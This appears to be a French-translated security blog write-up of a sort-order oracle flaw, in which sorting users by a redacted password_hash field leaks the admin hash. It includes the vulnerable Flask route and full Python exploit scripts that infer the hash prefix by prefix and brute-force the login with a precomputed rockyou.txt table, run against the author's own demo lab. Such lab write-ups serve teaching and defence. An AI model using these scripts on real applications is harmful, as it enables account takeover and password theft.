Trier votre chemin vers les mots de passe volés
Introduction
Récemment, j'ai rencontré une vulnérabilité unique qui m'a permis d'effectuer une extraction de hachage de mot de passe, même s'il semblait que les données étaient correctement expurgées.
Pour démontrer les implications pratiques de cette vulnérabilité, j'ai développé un script qui utilisait une méthode de comparaison caractère par caractère, construisant progressivement le hachage du mot de passe administrateur en triant les utilisateurs et en observant leurs positions. Cette approche, bien que chronophage, offrait une opportunité unique de déchiffrer les hachages de mots de passe SHA256 sans recourir aux techniques traditionnelles de force brute.
Explorer l'application Web
Pour illustrer cette vulnérabilité, j'ai créé une application web de démonstration qui simule cette faille de sécurité. Cette démo est dockerisée et peut être téléchargée ici si vous voulez l'essayer sur votre propre machine. L'application Web ressemble à ceci :
L'application est basique, consistant en une table d'utilisateurs avec des options pour trier, ajouter un nouvel utilisateur et supprimer tous les utilisateurs. Dans un scénario réel, cette fonctionnalité serait probablement plus avancée et sécurisée derrière l'authentification.
Trouver le bogue
Lors de l'exécution de ma méthodologie standard de sécurité des applications Web, j'ai remarqué quelque chose d'intéressant en ce qui concerne la table des utilisateurs. En utilisant Burp Suite, j'ai pu voir qu'une requête était envoyée lorsque j'ai consulté la page index.html qui triait les utilisateurs dans le tableau :
Maintenant, ce n'était pas quelque chose qui sortait particulièrement de l'ordinaire, mais après avoir essayé différentes manières de trier la colonne, j'ai constaté que les positions des utilisateurs changeaient lorsque je triais par password_hash !
C'était assez étrange, car dans la capture d'écran ci-dessus, tous les hachages sont SUPPRIMÉS , ils ne devraient donc pas changer de position lors du tri par ce champ ??
Pour comprendre pourquoi cela se produisait, j'ai fait une analyse du code et j'ai trouvé ceci:
# Getting users for the table on index.html
@app.route('/users')
def get_users():
sort_col = request.args.get('sort_col', default='id')
sort_order = request.args.get('sort_order', default='asc')
sorted_users = sorted(
users, key=lambda u: u[sort_col], reverse=(sort_order == 'dec'))
redacted_users = []
for user in sorted_users:
redacted_user = user.copy()
redacted_user['password_hash'] = 'REDACTED'
redacted_users.append(redacted_user)
return jsonify(redacted_users)
En théorie, si nous connaissons ou pouvons deviner le mécanisme de hachage du mot de passe (généralement SHA256, MD5 ou bcrypt), nous pourrions créer un nouvel utilisateur, avec un mot de passe dont nous connaissons le hachage, et l'utiliser pour trier les utilisateurs afin de déterminer le mot de passe de l'utilisateur admin.
Dans le diagramme ci-dessus, le mot de passe administrateur est donut qui a un hachage SHA256 de 2f63371bea3c61d9fdba4469984bd22f2cc2381d23e031634f0387bdd97bd28f .
Mon objectif est de renvoyer l'utilisateur admin dans la liste, avant moi. Lorsque cela se produit, je sais que mon hachage commence par une valeur avant les administrateurs. Donc, dans le cas ci-dessus, mon hachage est inférieur à celui des administrateurs, il renvoie donc [me, admin].
Dans ce diagramme, j'ai mis à jour mon mot de passe en 72yY2GEp41, ce qui a entraîné un hachage SHA256 de 240ba23967c8a19f98e7315b1198b1aebd203836435c5f0d03dbfd84d11853db . Lors de l'exécution de la fonction check() , je suis toujours le premier dans la liste. Cependant, la fonction valide que les premiers caractères sont les mêmes "2" == "2", puis vérifie le caractère suivant "f"> "4", qui renverrait mon hachage en premier.
Enfin, lorsque mon hachage de mot de passe commence par le caractère "3", il est supérieur au hachage du mot de passe administrateur qui commence par un "2". Par conséquent, l'administrateur revient en premier dans la liste et nous pouvons déterminer que le hachage du mot de passe de l'administrateur a un "2" dans l'emplacement index[0] ! Assez cool non ! Transformons maintenant cette théorie en code.
Transformer la théorie en code
Mon approche de ce problème est plutôt lente, donc si vous connaissez un moyen plus efficace de le faire, n'hésitez pas à commenter et à me le faire savoir !
Le processus que j'ai suivi pour extraire le hachage du mot de passe administrateur est le suivant :
- Écrire quelques fonctions pour créer un nouvel utilisateur avec un mot de passe de mon choix, effacer la table des utilisateurs et trier les utilisateurs. Le code que j'ai créé pour cela est le suivant :
domain = "lab.prodefense.io"
def create_user(email='[email protected]', name='matt', password='hackyhack'):
url = f"http://{domain}/users"
json = {"email": email, "name": name, "password": password}
requests.post(url, json=json)
def clear_users():
url = f"http://{domain}/users"
requests.delete(url)
def sort_users(direction='asc'):
url = f"http://{domain}/users?sort_col=password_hash&sort_order={direction}"
r = requests.get(url)
return r.text
2. Ensuite, j'ai créé une fonction appelée check() pour voir si la réponse json de la fonction sort_users() renvoie la table des utilisateurs avec l' utilisateur admin en premier dans la liste, ou en second :
def check():
users = json.loads(sort_users())
return users[0]['id'] == 1
3. J'avais maintenant besoin de pouvoir trouver un hachage SHA256 commençant par un préfixe et de renvoyer à la fois la chaîne utilisée pour générer ce hachage et le hachage lui-même.
Par exemple, si je sais que mon admin_hash est : 8c 6976e5b5410415bde908bd4dee15dfb167a9c873fc4bb8a81f6f2ab448a918
Ensuite, ce que je dois faire est de créer un hachage que je peux utiliser pour le trier. Donc my_hash pourrait ressembler à : 87 227ahead5d3d1a5b89bf07a673510114b1d98d473d43e0ff7e3b230032311e . L'idée ici est que puisque je peux trier la base de données, je peux déterminer si admin_hash est ascendant ou descendant par rapport à my_hash. Donc 8c6976e... apparaîtrait en premier avant 87227af... parce que les 8' sont égaux mais "c" vient avant " 7" si mon tri est pour les valeurs décroissantes. Vous avez l'idée ?
Maintenant, tout ce que j'ai à faire est d'aller caractère par caractère, en créant des hachages avec un préfixe jusqu'à ce que j'aie à la fois le mot de passe en texte brut des administrateurs et leur hachage. Pour ce faire, mon code ressemblait à ceci:
def gen_hash(prefix):
while True:
random_string = ''.join(random.choices(
string.ascii_letters + string.digits, k=10))
sha256_hash = hashlib.sha256(random_string.encode()).hexdigest()
if sha256_hash.startswith(prefix):
return random_string, sha256_hash
4. Une fois que cette fonction fonctionnait, la dernière chose dont j'avais besoin était la logique pour fuzzer caractère par caractère jusqu'à ce que j'obtienne un hachage qui corresponde aux admins ! Pour ce faire, mon code ressemblait à:
if __name__ == '__main__':
# SHA256 hashes can only have 0-9, a-f which limits our bank significantly.
bank = '0123456789abcdef'
value = []
# 64 chars is the length of a SHA256 hash
while len(value) <= 64:
found_match = False
for char in bank:
# Sends the POST request to clear all users but admin
clear_users()
# Ill talk about the 'ff' below :sad-doge:
rand_string, hash = gen_hash("".join(value) + char + 'ff')
# Creates a new user, with the random string that has our prefix
create_user(password=rand_string)
# Checking to see if admin comes first or second in the table
if check():
value.append(char)
found_match = True
break
# Adds some animation because who likes boring CLIs
print(f"[!] ADMIN HASH: {''.join(value)}{char}", end='\r')
time.sleep(0.1)
if not found_match:
value.append('0' if not value else 'f')
print("\n[!] FINAL ADMIN HASH: " + ''.join(value))
Dans l'ensemble, si vous assemblez tout ce code, vous devriez voir quelque chose comme le GIF ci-dessous dans votre console :
Vous pouvez voir dans le GIF que je n'obtiens que quelques caractères, puis cela commence à vraiment ralentir. C'est parce que nous forçons littéralement brutalement le mot de passe des utilisateurs admin. Il s'agit d'une limitation importante et obligerait probablement l'attaquant à passer beaucoup de temps à générer des mots de passe. La seule différence entre cela et une force brute générique est que la limitation est due à la puissance de calcul de votre ordinateur. Trouver des hachages qui commencent par plus de 5 caractères prend beaucoup de temps, sauf si vous pré-calculez les hachages ou si vous avez une grande table arc-en-ciel à rechercher. Dans l'ensemble, obtenir une force brute complète comme celle-ci nécessiterait probablement environ 500 requêtes au serveur et vous obligerait à générer une tonne de chaînes pour obtenir la valeur de hachage correcte.
Pas votre Bruteforce typique
L'application de démonstration a intégré une limitation de débit avec 200 req/h sur les points de terminaison principaux et 20 req/h sur le point de terminaison de connexion. Dans cet esprit, une attaque par force brute nécessiterait probablement des millions, voire des milliards de demandes pour deviner le mot de passe. Et si je vous disais que nous pourrions le faire avec moins de 200 demandes ? Voyons comment cela fonctionnerait.
Semblable à l'approche que j'ai adoptée avec le premier script solve.py, dans cette approche, nous allons supposer que le mot de passe est choisi au hasard dans rockyou.txt . Maintenant, c'est un peu tricher, mais rockyou.txt a 14 344 394 (14 millions) de mots de passe dans la liste. Nous allons devoir "deviner" le mot de passe en moins de 200 requêtes pour éviter la détection et la limite de débit. Commençons.
- Semblable au premier script solve.py, je vais utiliser les mêmes fonctions qui interagissent avec l'application Web, mais je vais également créer une fonction de connexion :
domain = "lab.prodefense.io"
def create_user(email='[email protected]', name='matt', password='hackyhack'):
url = f"http://{domain}/users"
json = {"email": email, "name": name, "password": password}
requests.post(url, json=json)
def clear_users():
url = f"http://{domain}/users"
requests.delete(url)
def sort_users(direction='asc'):
url = f"http://{domain}/users?sort_col=password_hash&sort_order={direction}"
r = requests.get(url)
return r.text
def login(username, password):
url = f"http://{domain}/login"
json = {"username": username, "password": password}
r = requests.post(url, json=json)
return r.status_code
import hashlib
with open('rockyou.txt', 'r', encoding='utf-8') as input_file:
with open('combined.txt', 'w') as output_file:
for line in input_file:
line = line.strip()
hashed_line = hashlib.sha256(line.encode()).hexdigest()
output_file.write(f'{hashed_line},{line}\n')
print('Conversion completed. Check combined.txt file.')
2. Maintenant, j'avais besoin d'écrire une fonction qui peut agir de la même manière que ma fonction gen_hash (préfixe) , mais pour parcourir notre nouveau fichier combiné.txt pour trouver des hachages qui pourraient être le hachage du mot de passe de l'utilisateur basé sur le préfixe . Je parie que vous voyez où je veux en venir maintenant :)
def find_hashes(prefix):
hashes = []
passwords = []
with open('combined.txt', 'r', errors='replace') as file:
for line in file:
line = line.strip()
if line.startswith(prefix):
values = line.split(',')
if len(values) == 2:
sha256, password = values
hashes.append(sha256)
passwords.append(password)
return hashes, passwords
3. La page /login n'autorise que 20 requêtes/h. Cela étant dit, j'avais besoin d'obtenir ma valeur de préfixe suffisamment longtemps pour pouvoir appeler la fonction find_hashes() et lui faire renvoyer 20 mots de passe (ou moins) commençant par une valeur de préfixe donnée.
Possible password hashes (notice they all start with the prefix):
hash_prefix: "b60d9"
055555:b60d92f92101e5210a530631ec3ad59c32ecdc3fd3ab75ac1291cedcaf6fee77
cordelius:b60d914e40a9572820f571d8cf38e8425742a8a1cd6c5586f35a6c7e73e39dcf
terfase:b60d920aa0cabdbdcf7447632bcdb9456a35c4378db17137066aee36d3aeea12
obolku:b60d9db875658b618b27f0a2d4c869628a9f937ea6c1a0172d4a6acc2f219846
escuelapan2:b60d9852d3325c01b7556719dd1e9b684017b8306fc1902eb9e6298250459735
...etc...
def bruteforce(password_list):
for pwd in password_list:
if login('admin', pwd) == 200:
print(
f"[!] ADMIN PASSWORD: {colored(pwd, 'green')}")
sys.exit(0)
if __name__ == '__main__':
api_call_count = 0
prefix = ""
bank = '0123456789abcdef'
for i in range(10):
found_match = False
for char in bank:
clear_users()
pwd, hash_value = gen_hash(prefix+char+'f')
create_user(password=pwd)
api_call_count += 3
if check():
found_match = True
prefix += char
tmp_hashes, tmp_passwords = find_hashes(prefix)
if (len(tmp_hashes) < 20):
print(
f"[!] PARTIAL ADMIN HASH: {colored(prefix, 'green')}")
bruteforce(tmp_passwords)
break
print(
f"[!] FINDING HASH: {prefix}{colored(char, 'red')} - [INFO] API Calls Sent: {api_call_count}/200'", end='\r')
time.sleep(0.2)
if not found_match:
hash += 'f' if hash else '0'
Ce script solve.py prend 2m 30s et utilise 87 requêtes. Le hachage du mot de passe est complètement aléatoire dans la liste de mots rockyou.txt qui contient 14 344 394 (14 millions) mots de passe.
Conclusion
Bien que mon application Web de démonstration n'ait peut-être remporté aucun prix pour « l'application Web la plus sécurisée de l'année », cela montre certainement à quel point certains bogues peuvent être uniques et pourquoi chatGPT ne va pas prendre mon travail de si tôt.
Blague à part, cette vulnérabilité qui permet aux attaquants de se frayer un chemin vers les mots de passe volés met en lumière les risques potentiels qui se cachent dans des fonctionnalités apparemment inoffensives. Grâce à une analyse approfondie et à une approche intelligente, les attaquants peuvent extraire les hachages de mot de passe d'une application Web vulnérable s'ils ne sont pas prudents.
Remarque : Si vous aimez cet article de blog et souhaitez essayer de créer votre propre script de solution, j'ai créé un conteneur docker qui génère de manière aléatoire le mot de passe administrateur qui peut être téléchargé ici . Bon piratage !